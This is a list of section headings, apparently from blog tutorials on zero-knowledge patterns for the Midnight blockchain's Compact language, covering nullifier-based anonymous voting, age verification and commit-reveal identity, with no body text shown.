Architectural Deep Dive: How the Nullifier Pattern Works

The Three Cryptographic Pillars

1. Identity Commitment

2. Historic Merkle Membership Proof

3. Domain-Separated Nullifier

The Smart Contract: anonymous_voting.compact

Answering the Tough Technical Questions: "Explain Your Work"

1. Why does this circuit need disclose() on nullifier?

2. Does disclose(nullifier) compromise the voter's privacy?

3. What breaks if you use transientHash instead of persistentHash?

4. What breaks if you omit poll_id from the nullifier?

5. Why can't the frontend just pass the nullifier as a circuit argument?

6. Why does merkleTreePathRoot require disclose(path)?

Client Integration: TypeScript & Midnight.js SDK

1. Project Dependencies (package.json)

2. Launching the Local Proof Server

3. Compiling the Contract

4. Client Interaction Script (vote.ts)

Common Gotchas & Debugging Checklist

Conclusion

Zero-Knowledge Age Verification on Midnight: How Compact Enables Private On-Chain Data

How do you verify user eligibility on-chain without revealing sensitive personal identity data?

How Compact Structures ZK Predicate Logic

How It Works Under the Hood

Why This Matters

Mastering Zero-Knowledge Identity Patterns in Midnight with Compact

The Concept: Commit-Reveal Identity

The Code Implementation

Breaking Down the Magic

Step 1: The Witness Function

Step 2: The Hash Commitment

Step 3: Zero-Knowledge Assertion

Conclusion

The Smart Contract: `anonymous_voting.compact`

1. Why does this circuit need `disclose()` on `nullifier`?

2. Does `disclose(nullifier)` compromise the voter's privacy?

3. What breaks if you use `transientHash` instead of `persistentHash`?

4. What breaks if you omit `poll_id` from the nullifier?

6. Why does `merkleTreePathRoot` require `disclose(path)`?

1. Project Dependencies (`package.json`)

4. Client Interaction Script (`vote.ts`)